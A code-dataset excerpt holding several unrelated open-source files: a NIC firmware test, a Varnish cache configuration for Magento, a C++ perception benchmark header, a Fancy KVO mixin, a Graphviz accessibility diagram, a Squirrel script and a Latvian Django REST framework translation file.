content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
/* Copyright (c) 2017-2019 Netronome Systems, Inc. All rights reserved.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
;TEST_INIT_EXEC nfp-mem i32.ctm:0x80 0x00000000 0x00000000 0x00154d0a 0x0d1a6805
;TEST_INIT_EXEC nfp-mem i32.ctm:0x90 0xca306ab8 0x08004500 0x007ede06 0x40004011
;TEST_INIT_EXEC nfp-mem i32.ctm:0xa0 0x50640501 0x01020501 0x0101d87e 0x12b5006a
;TEST_INIT_EXEC nfp-mem i32.ctm:0xb0 0x00000800 0x00000000 0x0000404d 0x8e6f97ad
;TEST_INIT_EXEC nfp-mem i32.ctm:0xc0 0x001e101f 0x00010800 0x4500004c 0x7a9f0000
;TEST_INIT_EXEC nfp-mem i32.ctm:0xd0 0x40067492 0xc0a80164 0xd5c7b3a6 0xcb580050
;TEST_INIT_EXEC nfp-mem i32.ctm:0xe0 0xea8d9a10 0xb3b6fc8d 0x5019ffff 0x51060000
;TEST_INIT_EXEC nfp-mem i32.ctm:0xf0 0x97ae878f 0x08377a4d 0x85a1fec4 0x97a27c00
;TEST_INIT_EXEC nfp-mem i32.ctm:0x100 0x784648ea 0x31ab0538 0xac9ca16e 0x8a809e58
;TEST_INIT_EXEC nfp-mem i32.ctm:0x110 0xa6ffc15f
#include <aggregate.uc>
#include <stdmac.uc>
#include <pv.uc>
.reg pkt_vec[PV_SIZE_LW]
aggregate_zero(pkt_vec, PV_SIZE_LW)
move(pkt_vec[0], 0x8c)
move(pkt_vec[2], 0x88)
move(pkt_vec[3], 0x62)
move(pkt_vec[4], 0x3fc0)
move(pkt_vec[5], ((14 << 24) | ((14 + 20) << 16) |
((14 + 20 + 8 + 8 + 14) << 8) |
(14 + 20 + 8 + 8 + 14 + 20)))
| UnrealScript | 2 | pcasconnetronome/nic-firmware | test/datapath/pkt_ipv4_vxlan_tcp_x88.uc | [
"BSD-2-Clause"
] |
# Made_Cache Varnish 4 VCL
#
# https://github.com/madepeople/Made_Cache
#
vcl 4.0;
import std;
backend default {
.host = "127.0.0.1";
.port = "8080";
.first_byte_timeout = 300s;
.between_bytes_timeout = 300s;
}
# The admin backend needs longer timeout values
backend admin {
.host = "127.0.0.1";
.port = "8080";
.first_byte_timeout = 18000s;
.between_bytes_timeout = 18000s;
}
# Add additional (ie webserver) IPs here that should be able to purge cache
acl purge {
"localhost";
"127.0.0.1";
"10.10.10.11";
"10.10.10.10";
}
# List of upstream proxies we trust to set X-Forwarded-For correctly.
acl upstream_proxy {
"127.0.0.1";
}
# List of IPs we want to block
acl abuse {
}
sub vcl_recv {
# Make sure we get the real IP to the backend
if (client.ip ~ upstream_proxy && req.http.X-Forwarded-For) {
set req.http.X-Forwarded-For = req.http.X-Real-IP;
} else {
set req.http.X-Forwarded-For = regsub(client.ip, ":.*", "");
}
# Don't allow abused IPs
if (client.ip ~ abuse) {
return (synth(403, "Abuse from this IP detected. You are now blocked."));
}
# Purge specific object from the cache
if (req.method == "PURGE") {
if (!client.ip ~ purge) {
return (synth(403, "Not allowed."));
}
return (purge);
}
# Ban something
if (req.method == "BAN") {
# Same ACL check as above:
if (!client.ip ~ purge) {
return (synth(405, "Not allowed."));
}
if (req.http.X-Ban-String) {
ban(req.http.X-Ban-String);
# Throw a synthetic page so the
# request won't go to the backend.
return (synth(200, "Ban added"));
}
return (synth(400, "Bad request."));
}
# Flush the whole cache
if (req.method == "FLUSH") {
if (!client.ip ~ purge) {
return (synth(405, "Not allowed."));
}
ban("req.url ~ /");
return (synth(200, "Flushed"));
}
# Refresh specific object
if (req.method == "REFRESH") {
if (!client.ip ~ purge) {
return (synth(405, "Not allowed."));
}
set req.method = "GET";
set req.hash_always_miss = true;
}
# Switch to the admin backend
if (req.http.Cookie ~ "adminhtml=") {
set req.backend_hint = admin;
}
# Pass anything other than GET and HEAD directly.
if (req.method != "GET" && req.method != "HEAD") {
# We only deal with GET and HEAD by default
return (pass);
}
# Pass checkout requests directly
if (req.url ~ "/(streamcheckout|checkout)/") {
return (pass);
}
# Normalize Aceept-Encoding header to reduce vary
# http://varnish.projects.linpro.no/wiki/FAQ/Compression
if (req.http.Accept-Encoding) {
if (req.url ~ "\.(jpg|png|gif|gz|tgz|bz2|tbz|mp3|ogg|swf|flv)$") {
# No point in compressing these
unset req.http.Accept-Encoding;
} elsif (req.http.Accept-Encoding ~ "gzip") {
set req.http.Accept-Encoding = "gzip";
} elsif (req.http.Accept-Encoding ~ "deflate" && req.http.user-agent !~ "MSIE") {
set req.http.Accept-Encoding = "deflate";
} else {
# Unknown algorithm
unset req.http.Accept-Encoding;
}
}
# Keep track of users with a session
if (req.http.Cookie ~ "frontend=") {
set req.http.X-Session-UUID =
regsub(req.http.Cookie, ".*frontend=([^;]+).*", "\1");
} else {
# No frontend cookie, goes straight to the backend except if static assets.
if (req.url ~ "\.(jpg|png|gif|gz|tgz|bz2|tbz|mp3|ogg|swf|flv|js|css)$") {
return(hash);
}
set req.http.X-Session-UUID = "";
}
return (hash);
}
sub vcl_hash {
# ESI Request
if (req.url ~ "/madecache/varnish/(esi|messages|cookie)") {
hash_data(regsub(req.url, "(/hash/[^\/]+/).*", "\1"));
# Logged in user, cache on UUID level
if (req.http.X-Session-UUID && req.http.X-Session-UUID != "") {
hash_data(req.http.X-Session-UUID);
}
} else {
hash_data(req.url);
}
# Also consider the host name for caching (multi-site with different themes etc)
if (req.http.host) {
hash_data(req.http.host);
} else {
hash_data(server.ip);
}
# Include the X-Forward-Proto header, since we want to treat HTTPS
# requests differently, and make sure this header is always passed
# properly to the backend server.
if (req.http.X-Forwarded-Proto) {
hash_data(req.http.X-Forwarded-Proto);
}
return (lookup);
}
# Called when an object is fetched from the backend
sub vcl_backend_response {
# Strip Cookies from static assets.
if (bereq.url ~ "\.(jpg|png|gif|gz|tgz|bz2|tbz|mp3|ogg|swf|flv|js|css)$") {
set beresp.ttl = 1w;
}
if (bereq.url ~ "\.(css|js)$") {
set beresp.do_gzip = true;
}
# Hold down object variations by removing the referer and vary headers
unset beresp.http.referer;
unset beresp.http.vary;
# If the X-Made-Cache-Ttl header is set, use it, otherwise default to
# not caching the contents (0s)
if (beresp.status == 200 || beresp.status == 301 || beresp.status == 404) {
if (beresp.http.Content-Type ~ "text/html" || beresp.http.Content-Type ~ "text/xml") {
set beresp.do_esi = true;
set beresp.ttl = std.duration(beresp.http.X-Made-Cache-Ttl, 0s);
# Don't cache expire headers, we maintain those differently
unset beresp.http.expires;
} else {
# TTL for static content
set beresp.ttl = 1w;
}
# Caching the cookie header would make multiple clients share session
if (beresp.ttl > 0s) {
unset beresp.http.Set-Cookie;
}
# Allow us to ban on object URL
set beresp.http.url = bereq.url;
# Cache (if positive TTL)
return (deliver);
}
# Don't cache
set beresp.uncacheable = true;
}
sub vcl_deliver {
# Cache headers on assets
if (req.url ~ "\.(jpg|png|gif|gz|tgz|bz2|tbz|mp3|ogg|swf|flv|js|css)$") {
set resp.http.Cache-Control = "max-age=31536000";
if (obj.hits > 0) {
set resp.http.X-Cache = "HIT";
} else {
set resp.http.X-Cache = "MISS";
}
return (deliver);
} else {
# To debug if it's a hit or a miss
set resp.http.Cache-Control = "no-store, no-cache, must-revalidate, post-check=0, pre-check=0";
}
unset resp.http.X-Session-UUID;
unset resp.http.X-Made-Cache-Tags-1;
unset resp.http.X-Made-Cache-Tags-2;
unset resp.http.X-Made-Cache-Tags-3;
unset resp.http.X-Made-Cache-Ttl;
unset resp.http.url;
if (obj.hits > 0) {
set resp.http.X-Cache = "HIT";
} else {
set resp.http.X-Cache = "MISS";
}
return (deliver);
}
| VCL | 5 | madepeople/Made_Cache | src/code/Cache/etc/magento.vcl | [
"BSD-4-Clause"
] |
/******************************************************************************
* Copyright 2019 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#pragma once
#include <memory>
#include <string>
#include <vector>
#include "Eigen/Core"
#include "modules/perception/tool/benchmark/lidar/util/object_supplement.h"
#include "modules/perception/tool/benchmark/lidar/util/types.h"
namespace apollo {
namespace perception {
namespace benchmark {
enum ObjectType {
UNKNOWN = 0,
UNKNOWN_MOVABLE = 1,
UNKNOWN_UNMOVABLE = 2,
PEDESTRIAN = 3,
BICYCLE = 4,
VEHICLE = 5,
MAX_OBJECT_TYPE = 6,
};
ObjectType translate_string_to_type(const std::string& str);
unsigned int translate_type_to_index(const ObjectType& type);
std::string translate_type_index_to_string(unsigned int index);
std::string translate_type_to_string(ObjectType type);
enum InternalObjectType {
INT_BACKGROUND = 0,
INT_SMALLMOT = 1,
INT_PEDESTRIAN = 2,
INT_NONMOT = 3,
INT_BIGMOT = 4,
INT_UNKNOWN = 5,
INT_MAX_OBJECT_TYPE = 6,
};
enum SensorType {
VELODYNE_64 = 0,
VELODYNE_16 = 1,
RADAR = 2,
CAMERA = 3,
UNKNOWN_SENSOR_TYPE = 4,
};
SensorType translate_string_to_sensor_type(const std::string& str);
std::string translate_sensor_type_to_string(const SensorType& type);
struct alignas(16) Object {
EIGEN_MAKE_ALIGNED_OPERATOR_NEW
Object();
// shallow copy for copy constructor and assignment
Object(const Object& rhs);
Object& operator=(const Object& rhs);
// deep copy
void clone(const Object& rhs);
std::string to_string() const;
// object id per frame
int id = 0;
// point cloud of the object
PointCloudPtr cloud;
// point cloud indices of the object
PointIndicesPtr indices;
// polygon of the object
PointCloud polygon;
// confidence of the object
float confidence = 1.f;
// oriented boundingbox information
// main direction
Eigen::Vector3d direction;
// the yaw angle, direction with x-axis (1, 0, 0)
double yaw = 0.0;
// the roll angle, direction with
double roll = 0.0;
// the pitch angle, direction with
double pitch = 0.0;
// ground center of the object (cx, cy, z_min)
Eigen::Vector3d center;
// size of the oriented bbox, length is the size in the main direction
double length = 0.0;
double width = 0.0;
double height = 0.0;
// truncated
double truncated = 0.0;
double occluded = 0.0;
// Object classification type.
ObjectType type = UNKNOWN;
// Probability of each type, used for track type.
std::vector<float> type_probs;
// Internal object classification type.
InternalObjectType internal_type;
// Internal probability of each type, used for track type.
std::vector<float> internal_type_probs;
// fg/bg flag
bool is_background = false;
// tracking information
int track_id = 0;
Eigen::Vector3d velocity;
// age of the tracked object
double tracking_time = 0.0;
double latest_tracked_time = 0.0;
// roi flag
bool is_in_roi = false;
// lane flag
bool is_in_main_lanes = false;
// visible related
float visible_ratio = 1.f;
bool visible = true;
// sensor type
SensorType sensor_type = UNKNOWN_SENSOR_TYPE;
// reserve
std::string reserve;
// sensor particular suplplements, default nullptr
LidarSupplementPtr lidar_supplement = nullptr;
RadarSupplementPtr radar_supplement = nullptr;
CameraSupplementPtr camera_supplement = nullptr;
// jaccard index with ground truth when benchmark evaluation
double ji = 0.0;
};
typedef std::shared_ptr<Object> ObjectPtr;
typedef std::shared_ptr<const Object> ObjectConstPtr;
using SeqId = uint32_t;
// Sensor single frame objects.
struct SensorObjects {
SensorObjects() { sensor2world_pose = Eigen::Matrix4d::Zero(); }
std::string to_string() const;
SensorType type = UNKNOWN_SENSOR_TYPE;
std::string name;
double timestamp = 0.0;
SeqId seq_num = 0;
std::vector<ObjectPtr> objects;
std::vector<std::vector<Eigen::Vector3d>> objects_box_vertices;
std::vector<ObjectPtr> gt_objects;
std::vector<std::vector<Eigen::Vector3d>> gt_objects_box_vertices;
Eigen::Matrix4d sensor2world_pose;
};
} // namespace benchmark
} // namespace perception
} // namespace apollo
| C | 5 | jzjonah/apollo | modules/perception/tool/benchmark/lidar/util/object.h | [
"Apache-2.0"
] |
class KVO {
"""
Key-Value Observing Mixin class.
Include this Class into any class to add support for Key-Value Observing.
Inspired by Objective-C's KVO, but using @Block@s, as it fits nicer
with Fancy's semantics.
Example:
class Person {
include: KVO
read_write_slots: ('name, 'age, 'city)
}
tom = Person new tap: @{
name: \"Tom Cruise\"
age: 55
city: \"Hollywood\"
}
tom observe: 'name with: |new old| {
new println
}
# will cause \"Tommy Cruise\" to be printed:
tom name: \"Tommy Cruise\"
# No observer Blocks defined, so nothing will happen
tom age: 56
"""
class ClassMethods {
def define_slot_writer: slotname {
slotname = slotname to_sym
define_method: "#{slotname}:" with: |new_val| {
old_val = get_slot: slotname
set_slot: slotname value: new_val
match new_val {
case old_val -> nil # do nothing if no change
case _ ->
__kvo_slot_change__: slotname new: new_val old: old_val
}
}
}
def define_slot_reader: slotname {
slotname = slotname to_sym
define_method: slotname with: {
val = get_slot: slotname
if: (val is_a?: Fancy Enumerable) then: {
unless: (val get_slot: '__kvo_wrappers_defined?__) do: {
__kvo_wrap_collection_methods__: val for_slot: slotname
}
}
val
}
}
}
def KVO included: class {
class extend: ClassMethods
}
def observe: slotname with: block {
"""
@slotname Name of slot to be observed with @block.
@block @Block@ to be called with old and new value of @slotname in @self.
Registers a new observer @Block@ for @slotname in @self.
"""
__kvo_add_observer__: block for: slotname to: __kvo_slot_observers__
}
def observe_insertion: slotname with: block {
"""
@slotname Name of collection slot to be observed with @block.
@block @Block@ to be called with value inserted in collection named @slotname in @self.
Registers a new insertion observer @Block@ for collection named @slotname in @self.
"""
__kvo_add_observer__: block for: slotname to: __kvo_insertion_observers__
}
def observe_removal: slotname with: block {
"""
@slotname Name of collection slot to be observed with @block.
@block @Block@ to be called with value removed from collection named @slotname in @self.
Registers a new removal observer @Block@ for collection named @slotname in @self.
"""
__kvo_add_observer__: block for: slotname to: __kvo_removal_observers__
}
# PRIVATE METHODS
# OMG this looks FUGLY but this shall never be seen anyway
def __kvo_slot_observers__ {
{ @__kvo_slot_observers__ = <[]> } unless: @__kvo_slot_observers__
@__kvo_slot_observers__
}
private: '__kvo_slot_observers__
def __kvo_insertion_observers__ {
{ @__kvo_insertion_observers__ = <[]> } unless: @__kvo_insertion_observers__
@__kvo_insertion_observers__
}
private: '__kvo_insertion_observers__
def __kvo_removal_observers__ {
{ @__kvo_removal_observers__ = <[]> } unless: @__kvo_removal_observers__
@__kvo_removal_observers__
}
private: '__kvo_removal_observers__
def __kvo_add_observer__: block for: slotname to: observer_list {
slotname = slotname to_sym
if: (observer_list[slotname]) then: |set| {
set << block
} else: {
observer_list[slotname]: $ Set new: [block]
}
}
private: '__kvo_add_observer__:for:to:
def __kvo_slot_change__: slotname new: new_val old: old_val {
if: (__kvo_slot_observers__[slotname]) then: @{
each: @{ call: [new_val, old_val] }
}
}
private: '__kvo_slot_change__:new:old:
def __kvo_insertion__: value for_slot: slotname {
if: (__kvo_insertion_observers__[slotname]) then: @{
each: @{ call: [value] }
}
}
def __kvo_removal__: value for_slot: slotname {
if: (__kvo_removal_observers__[slotname]) then: @{
each: @{ call: [value] }
}
}
def __kvo_wrap_collection_methods__: collection for_slot: slotname {
object = self
collection metaclass tap: |c| {
try {
c alias_method: '__insert__: for: '<<
c define_method: '<< with: |val| {
__insert__: val
object __kvo_insertion__: val for_slot: slotname
}
} catch {}
try {
c alias_method: '__remove__: for: 'remove:
c define_method: 'remove: with: |val| {
__remove__: val
object __kvo_removal__: val for_slot: slotname
}
} catch {}
try {
c alias_method: '__remove_at__: for: 'remove_at:
c define_method: 'remove_at: with: |index| {
obj = __remove_at__: index
object __kvo_removal__: obj for_slot: slotname
}
} catch {}
}
collection set_slot: '__kvo_wrappers_defined?__ value: true
}
private: '__kvo_wrap_collection_methods__:for_slot:
}
| Fancy | 5 | bakkdoor/fancy | lib/kvo.fy | [
"BSD-3-Clause"
] |
digraph graphname {
graph [fontname = "helvetica", fontsize=11];
node [shape="box", fontname = "helvetica", fontsize=11];
edge [fontname = "helvetica", fontsize=11];
rankdir="TB";
subgraph cluster_browser {
label = "Browser Process";
subgraph cluster_cache_tree {
label = "Cached accessibility tree";
rankdir="TB";
root_cache [label="Root node"];
root_cache -> { button_cache, other_cache } [dir=none];
button_cache [label="Button node"];
other_cache [label="..."];
}
}
subgraph cluster_render {
label = "Render Process";
subgraph cluster_ax_tree {
label = "Accessibility tree";
rankdir="TB";
root_node [label="Root"];
root_node -> { button_node, other_node } [dir=none];
button_node [label="Button"];
other_node [label="..."];
}
subgraph cluster_dom_tree {
label = "DOM tree";
rankdir="TB";
root_dom_node [label="<body>"];
root_dom_node -> { button_dom_node, other_dom_node } [dir=none];
root_dom_node -> other_dom_node;
button_dom_node [label="<button>"];
other_dom_node [label="..."];
}
}
os [label="Operating System"];
os -> root_cache [dir=both];
root_cache -> root_node [dir=back, label="Atomic updates"];
root_node -> root_dom_node [dir=both];
}
| Graphviz (DOT) | 4 | zealoussnow/chromium | docs/accessibility/browser/figures/caching_approach.gv | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
untyped
// note: had to rename all instances of C_HardPointEntity to CHardPointEntity here, unsure why this was even a thing?
global function CodeCallback_RegisterClass_CHardPointEntity
function CodeCallback_RegisterClass_CHardPointEntity()
{
CHardPointEntity.ClassName <- "CHardPointEntity"
function CHardPointEntity::Enabled()
{
return this.GetHardpointID() >= 0
}
#document( "CHardPointEntity::Enabled", "Returns true if this hardpoint is enabled" )
}
| Squirrel | 4 | GeckoEidechse/NorthstarMods | Northstar.CustomServers/mod/scripts/vscripts/class/CHardPointEntity.nut | [
"MIT"
] |
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
#
# Translators:
# peterisb <pb@sungis.lv>, 2017
msgid ""
msgstr ""
"Project-Id-Version: Django REST framework\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-10-13 21:45+0200\n"
"PO-Revision-Date: 2020-10-13 19:45+0000\n"
"Last-Translator: Xavier Ordoquy <xordoquy@linovia.com>\n"
"Language-Team: Latvian (http://www.transifex.com/django-rest-framework-1/django-rest-framework/language/lv/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: lv\n"
"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2);\n"
#: authentication.py:70
msgid "Invalid basic header. No credentials provided."
msgstr "Nederīgs pieprasījuma sākums. Akreditācijas parametri nav nodrošināti."
#: authentication.py:73
msgid "Invalid basic header. Credentials string should not contain spaces."
msgstr "Nederīgs pieprasījuma sākums. Akreditācijas parametriem jābūt bez atstarpēm."
#: authentication.py:83
msgid "Invalid basic header. Credentials not correctly base64 encoded."
msgstr "Nederīgs pieprasījuma sākums. Akreditācijas parametri nav korekti base64 kodēti."
#: authentication.py:101
msgid "Invalid username/password."
msgstr "Nederīgs lietotājvārds/parole."
#: authentication.py:104 authentication.py:206
msgid "User inactive or deleted."
msgstr "Lietotājs neaktīvs vai dzēsts."
#: authentication.py:184
msgid "Invalid token header. No credentials provided."
msgstr "Nederīgs pilnvaras sākums. Akreditācijas parametri nav nodrošināti."
#: authentication.py:187
msgid "Invalid token header. Token string should not contain spaces."
msgstr "Nederīgs pilnvaras sākums. Pilnvaras parametros nevar būt tukšumi."
#: authentication.py:193
msgid ""
"Invalid token header. Token string should not contain invalid characters."
msgstr "Nederīgs pilnvaras sākums. Pilnvaras parametros nevar būt nederīgas zīmes."
#: authentication.py:203
msgid "Invalid token."
msgstr "Nederīga pilnavara."
#: authtoken/apps.py:7
msgid "Auth Token"
msgstr "Autorizācijas pilnvara"
#: authtoken/models.py:13
msgid "Key"
msgstr "Atslēga"
#: authtoken/models.py:16
msgid "User"
msgstr "Lietotājs"
#: authtoken/models.py:18
msgid "Created"
msgstr "Izveidots"
#: authtoken/models.py:27 authtoken/serializers.py:19
msgid "Token"
msgstr "Pilnvara"
#: authtoken/models.py:28
msgid "Tokens"
msgstr "Pilnvaras"
#: authtoken/serializers.py:9
msgid "Username"
msgstr "Lietotājvārds"
#: authtoken/serializers.py:13
msgid "Password"
msgstr "Parole"
#: authtoken/serializers.py:35
msgid "Unable to log in with provided credentials."
msgstr "Neiespējami pieteikties sistēmā ar nodrošinātajiem akreditācijas datiem."
#: authtoken/serializers.py:38
msgid "Must include \"username\" and \"password\"."
msgstr "Jābūt iekļautam \"username\" un \"password\"."
#: exceptions.py:102
msgid "A server error occurred."
msgstr "Notikusi servera kļūda."
#: exceptions.py:142
msgid "Invalid input."
msgstr ""
#: exceptions.py:161
msgid "Malformed request."
msgstr "Nenoformēts pieprasījums."
#: exceptions.py:167
msgid "Incorrect authentication credentials."
msgstr "Nekorekti autentifikācijas parametri."
#: exceptions.py:173
msgid "Authentication credentials were not provided."
msgstr "Netika nodrošināti autorizācijas parametri."
#: exceptions.py:179
msgid "You do not have permission to perform this action."
msgstr "Tev nav tiesību veikt šo darbību."
#: exceptions.py:185
msgid "Not found."
msgstr "Nav atrasts."
#: exceptions.py:191
#, python-brace-format
msgid "Method \"{method}\" not allowed."
msgstr "Metode \"{method}\" nav atļauta."
#: exceptions.py:202
msgid "Could not satisfy the request Accept header."
msgstr "Nevarēja apmierināt pieprasījuma Accept header."
#: exceptions.py:212
#, python-brace-format
msgid "Unsupported media type \"{media_type}\" in request."
msgstr "Pieprasījumā neatbalstīts datu tips \"{media_type}\" ."
#: exceptions.py:223
msgid "Request was throttled."
msgstr "Pieprasījums tika apturēts."
#: exceptions.py:224
#, python-brace-format
msgid "Expected available in {wait} second."
msgstr ""
#: exceptions.py:225
#, python-brace-format
msgid "Expected available in {wait} seconds."
msgstr ""
#: fields.py:316 relations.py:245 relations.py:279 validators.py:90
#: validators.py:183
msgid "This field is required."
msgstr "Šis lauks ir obligāts."
#: fields.py:317
msgid "This field may not be null."
msgstr "Šis lauks nevar būt null."
#: fields.py:701
msgid "Must be a valid boolean."
msgstr ""
#: fields.py:766
msgid "Not a valid string."
msgstr ""
#: fields.py:767
msgid "This field may not be blank."
msgstr "Šis lauks nevar būt tukšs."
#: fields.py:768 fields.py:1881
#, python-brace-format
msgid "Ensure this field has no more than {max_length} characters."
msgstr "Pārliecinies, ka laukā nav vairāk par {max_length} zīmēm."
#: fields.py:769
#, python-brace-format
msgid "Ensure this field has at least {min_length} characters."
msgstr "Pārliecinies, ka laukā ir vismaz {min_length} zīmes."
#: fields.py:816
msgid "Enter a valid email address."
msgstr "Ievadi derīgu e-pasta adresi."
#: fields.py:827
msgid "This value does not match the required pattern."
msgstr "Šī vērtība neatbilst prasītajam pierakstam."
#: fields.py:838
msgid ""
"Enter a valid \"slug\" consisting of letters, numbers, underscores or "
"hyphens."
msgstr "Ievadi derīgu \"slug\" vērtību, kura sastāv no burtiem, skaitļiem, apakš-svītras vai defises."
#: fields.py:839
msgid ""
"Enter a valid \"slug\" consisting of Unicode letters, numbers, underscores, "
"or hyphens."
msgstr ""
#: fields.py:854
msgid "Enter a valid URL."
msgstr "Ievadi derīgu URL."
#: fields.py:867
msgid "Must be a valid UUID."
msgstr ""
#: fields.py:903
msgid "Enter a valid IPv4 or IPv6 address."
msgstr "Ievadi derīgu IPv4 vai IPv6 adresi."
#: fields.py:931
msgid "A valid integer is required."
msgstr "Prasīta ir derīga skaitliska vērtība."
#: fields.py:932 fields.py:969 fields.py:1005 fields.py:1366
#, python-brace-format
msgid "Ensure this value is less than or equal to {max_value}."
msgstr "Pārliecinies, ka šī vērtība ir mazāka vai vienāda ar {max_value}."
#: fields.py:933 fields.py:970 fields.py:1006 fields.py:1367
#, python-brace-format
msgid "Ensure this value is greater than or equal to {min_value}."
msgstr "Pārliecinies, ka šī vērtība ir lielāka vai vienāda ar {min_value}."
#: fields.py:934 fields.py:971 fields.py:1010
msgid "String value too large."
msgstr "Teksta vērtība pārāk liela."
#: fields.py:968 fields.py:1004
msgid "A valid number is required."
msgstr "Derīgs skaitlis ir prasīts."
#: fields.py:1007
#, python-brace-format
msgid "Ensure that there are no more than {max_digits} digits in total."
msgstr "Pārliecinies, ka nav vairāk par {max_digits} zīmēm kopā."
#: fields.py:1008
#, python-brace-format
msgid ""
"Ensure that there are no more than {max_decimal_places} decimal places."
msgstr "Pārliecinies, ka nav vairāk par {max_decimal_places} decimālajām zīmēm."
#: fields.py:1009
#, python-brace-format
msgid ""
"Ensure that there are no more than {max_whole_digits} digits before the "
"decimal point."
msgstr "Pārliecinies, ka nav vairāk par {max_whole_digits} zīmēm pirms komata."
#: fields.py:1148
#, python-brace-format
msgid "Datetime has wrong format. Use one of these formats instead: {format}."
msgstr "Datuma un laika formāts ir nepareizs. Lieto vienu no norādītajiem formātiem: \"{format}.\""
#: fields.py:1149
msgid "Expected a datetime but got a date."
msgstr "Tika gaidīts datums un laiks, saņemts datums.."
#: fields.py:1150
#, python-brace-format
msgid "Invalid datetime for the timezone \"{timezone}\"."
msgstr ""
#: fields.py:1151
msgid "Datetime value out of range."
msgstr ""
#: fields.py:1236
#, python-brace-format
msgid "Date has wrong format. Use one of these formats instead: {format}."
msgstr "Datumam ir nepareizs formāts. Lieto vienu no norādītajiem formātiem: {format}."
#: fields.py:1237
msgid "Expected a date but got a datetime."
msgstr "Tika gaidīts datums, saņemts datums un laiks."
#: fields.py:1303
#, python-brace-format
msgid "Time has wrong format. Use one of these formats instead: {format}."
msgstr "Laikam ir nepareizs formāts. Lieto vienu no norādītajiem formātiem: {format}."
#: fields.py:1365
#, python-brace-format
msgid "Duration has wrong format. Use one of these formats instead: {format}."
msgstr "Ilgumam ir nepreizs formāts. Lieto vienu no norādītajiem formātiem: {format}."
#: fields.py:1399 fields.py:1456
#, python-brace-format
msgid "\"{input}\" is not a valid choice."
msgstr "\"{input}\" ir nederīga izvēle."
#: fields.py:1402
#, python-brace-format
msgid "More than {count} items..."
msgstr "Vairāk par {count} ierakstiem..."
#: fields.py:1457 fields.py:1603 relations.py:485 serializers.py:570
#, python-brace-format
msgid "Expected a list of items but got type \"{input_type}\"."
msgstr "Tika gaidīts saraksts ar ierakstiem, bet tika saņemts \"{input_type}\" tips."
#: fields.py:1458
msgid "This selection may not be empty."
msgstr "Šī daļa nevar būt tukša."
#: fields.py:1495
#, python-brace-format
msgid "\"{input}\" is not a valid path choice."
msgstr "\"{input}\" ir nederīga ceļa izvēle."
#: fields.py:1514
msgid "No file was submitted."
msgstr "Neviens fails netika pievienots."
#: fields.py:1515
msgid ""
"The submitted data was not a file. Check the encoding type on the form."
msgstr "Pievienotie dati nebija fails. Pārbaudi kodējuma tipu formā."
#: fields.py:1516
msgid "No filename could be determined."
msgstr "Faila nosaukums nevar tikt noteikts."
#: fields.py:1517
msgid "The submitted file is empty."
msgstr "Pievienotais fails ir tukšs."
#: fields.py:1518
#, python-brace-format
msgid ""
"Ensure this filename has at most {max_length} characters (it has {length})."
msgstr "Pārliecinies, ka faila nosaukumā ir vismaz {max_length} zīmes (tajā ir {length})."
#: fields.py:1566
msgid ""
"Upload a valid image. The file you uploaded was either not an image or a "
"corrupted image."
msgstr "Augšupielādē derīgu attēlu. Pievienotā datne nebija attēls vai bojāts attēls."
#: fields.py:1604 relations.py:486 serializers.py:571
msgid "This list may not be empty."
msgstr "Šis saraksts nevar būt tukšs."
#: fields.py:1605
#, python-brace-format
msgid "Ensure this field has at least {min_length} elements."
msgstr ""
#: fields.py:1606
#, python-brace-format
msgid "Ensure this field has no more than {max_length} elements."
msgstr ""
#: fields.py:1682
#, python-brace-format
msgid "Expected a dictionary of items but got type \"{input_type}\"."
msgstr "Tika gaidīta vārdnīca ar ierakstiem, bet tika saņemts \"{input_type}\" tips."
#: fields.py:1683
msgid "This dictionary may not be empty."
msgstr ""
#: fields.py:1755
msgid "Value must be valid JSON."
msgstr "Vērtībai ir jābūt derīgam JSON."
#: filters.py:49 templates/rest_framework/filters/search.html:2
msgid "Search"
msgstr "Meklēt"
#: filters.py:50
msgid "A search term."
msgstr ""
#: filters.py:180 templates/rest_framework/filters/ordering.html:3
msgid "Ordering"
msgstr "Kārtošana"
#: filters.py:181
msgid "Which field to use when ordering the results."
msgstr ""
#: filters.py:287
msgid "ascending"
msgstr "augoši"
#: filters.py:288
msgid "descending"
msgstr "dilstoši"
#: pagination.py:174
msgid "A page number within the paginated result set."
msgstr ""
#: pagination.py:179 pagination.py:372 pagination.py:590
msgid "Number of results to return per page."
msgstr ""
#: pagination.py:189
msgid "Invalid page."
msgstr "Nederīga lapa."
#: pagination.py:374
msgid "The initial index from which to return the results."
msgstr ""
#: pagination.py:581
msgid "The pagination cursor value."
msgstr ""
#: pagination.py:583
msgid "Invalid cursor"
msgstr "Nederīgs kursors"
#: relations.py:246
#, python-brace-format
msgid "Invalid pk \"{pk_value}\" - object does not exist."
msgstr "Nederīga pk \"{pk_value}\" - objekts neeksistē."
#: relations.py:247
#, python-brace-format
msgid "Incorrect type. Expected pk value, received {data_type}."
msgstr "Nepareizs tips. Tika gaidīta pk vērtība, saņemts {data_type}."
#: relations.py:280
msgid "Invalid hyperlink - No URL match."
msgstr "Nederīga hipersaite - Nav URL sakritība."
#: relations.py:281
msgid "Invalid hyperlink - Incorrect URL match."
msgstr "Nederīga hipersaite - Nederīga URL sakritība."
#: relations.py:282
msgid "Invalid hyperlink - Object does not exist."
msgstr "Nederīga hipersaite - Objekts neeksistē."
#: relations.py:283
#, python-brace-format
msgid "Incorrect type. Expected URL string, received {data_type}."
msgstr "Nepareizs tips. Tika gaidīts URL teksts, saņemts {data_type}."
#: relations.py:448
#, python-brace-format
